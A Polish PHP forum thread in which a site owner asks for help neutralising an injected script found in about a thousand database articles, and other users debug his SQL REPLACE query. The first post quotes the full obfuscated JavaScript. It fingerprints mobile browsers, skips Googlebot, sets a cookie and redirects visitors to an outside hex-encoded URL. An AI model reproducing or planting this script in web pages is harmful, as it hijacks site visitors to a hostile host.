Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: problem z update
Forum PHP.pl > Forum > Bazy danych > MySQL
jaro74
Witam

czy może mi ktoś wyjaśnić dlaczego to polecenie nie działa ? zwraca zero wyników

  1. UPDATE `wp_posts` SET `post_content` = REPLACE(post_content, '<script> var _0x446d=', '<!--<script> var _0x446d=')


lub

  1. UPDATE `wp_posts` SET `post_content` = REPLACE(post_content, '6])}</script>', '6])}</script>-->')


w bazie mam taki kod , przed <script> var _0x446d chcę dodać <!--

a po 6])}</script> dodać -->

aby cały <script> </script> dodać w komentarz


  1. <script> var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6
    F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x6
    8\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|haha.gifa|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
nospor
Cytat
zwraca zero wyników
UPDATE nie jest od zwracania wynikow. UPDATE jest od aktualizacji danych.
Moze opisz problem dokladniej.
jaro74
w treści art mam kod " <script> var _0x446d ... 6])}</script> "

przed "<script> var _0x446d" chcę dodać <!--
a po 6])}</script> dodać -->

aby cały <script> </script> dodać w komentarz <!-- <script> </script> -->

phmyadmin/sql

UPDATE `jos_content` SET `introtext` = REPLACE(introtext, '<script> var _0x446d=', '<!--<script> var _0x446d=')



phpmyadmin pozwala przed wykonaniem polecenia sprawdzic dzialanie


jak w poleceniau dam samo <script> zamiana na <!-- <script> to zmienia

wydaje mi się, że coś z tymi spacjami w " <script> var _0x446d= " coś nie tak


0 rekordów zmienionych w tym poleceniu
nospor
Pewnie sa tam jakies biale znaki i temu.
Czemu nie zrobisz poprostu

UPDATE `jos_content` SET `introtext` = REPLACE(introtext, '<script>', '<!--<script>')
?
Pyton_000
Bo w poście może mieć script ? biggrin.gif

nospor
A niech se ma script. Ja napisalem by zmienial <script> tongue.gif
jaro74
Cytat(nospor @ 27.04.2017, 11:10:26 ) *
Pewnie sa tam jakies biale znaki i temu.
Czemu nie zrobisz poprostu

UPDATE `jos_content` SET `introtext` = REPLACE(introtext, '<script>', '<!--<script>')
?




nie moge , bo sa inne skrypty tez

dlatego aby dokladnie wybrac ten musi byc

" <script> var _0x446d"

i


" 6])}</script> "



nospor
To w takim razie miedzy <script> a twoim var masz biale znaki, ktorych nie widzisz. Az sie prosi o replace przez wyraznia regularne ale to mysql i nima... Nie mozesz tego obrobic na poziomie php?
trueblue
Wyciągnij sobie zrzut z bazy danych i sprawdź kilka rekordów zawierających ten fragment.
Dowiesz się co tam faktycznie jest, a jeśli jest to czy podlega jakiejś regule.
com
a nie powinieneś czasem robić tego update na konkretnym wpisie a nie na wszystkich? biggrin.gif
jaro74
Cytat(com @ 27.04.2017, 12:59:29 ) *
a nie powinieneś czasem robić tego update na konkretnym wpisie a nie na wszystkich? biggrin.gif


Nie da rady, to siedzi w 1k artulow


Cytat(nospor @ 27.04.2017, 11:50:07 ) *
To w takim razie miedzy <script> a twoim var masz biale znaki, ktorych nie widzisz. Az sie prosi o replace przez wyraznia regularne ale to mysql i nima... Nie mozesz tego obrobic na poziomie php?



Jakiś przykład w PHP?

Próbowałem kilka opcji, gdyby to było takie proste to bym nie pisał sad.gif
Sama baza ma 500mb, tabela z art. 180mb

Cytat(trueblue @ 27.04.2017, 12:16:45 ) *
Wyciągnij sobie zrzut z bazy danych i sprawdź kilka rekordów zawierających ten fragment.
Dowiesz się co tam faktycznie jest, a jeśli jest to czy podlega jakiejś regule.


Zrzut skryptu z bazy jest w pierwszym poscie
trueblue
Podaj co tam siedzi w postaci hexadecymalnej.
Pyton_000
Spróbuj poszukać tylko tego:

Kod
<script> var _0
jaro74
Cytat(trueblue @ 27.04.2017, 13:25:02 ) *
Podaj co tam siedzi w postaci hexadecymalnej.



Wstrzykniety malware

Nie mogę tego rozkodować do końca

http://ddecode.com/hexdecoder/
Pyton_000
dla @trueblue chodzi o to żeby przemielić to do postaci HEX a nie zdekodować Hex smile.gif
jaro74
Cytat(Pyton_000 @ 27.04.2017, 14:20:49 ) *
dla @trueblue chodzi o to żeby przemielić to do postaci HEX a nie zdekodować Hex smile.gif


Rozkodowanie nie jest istotne
Wywalić w całości się tego nie da dlatego w komentarz chce dac
trueblue
Nie chodzi o rozkodowanie skryptu, ale o postać hexadecymalną zrzutu z bazy (wartości tego pola).
Zrób zrzut, podejrzyj plik zrzutu jakimś edytorem hex i skopiuj lub zrób zrzut ekranu z tego fragmentu.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.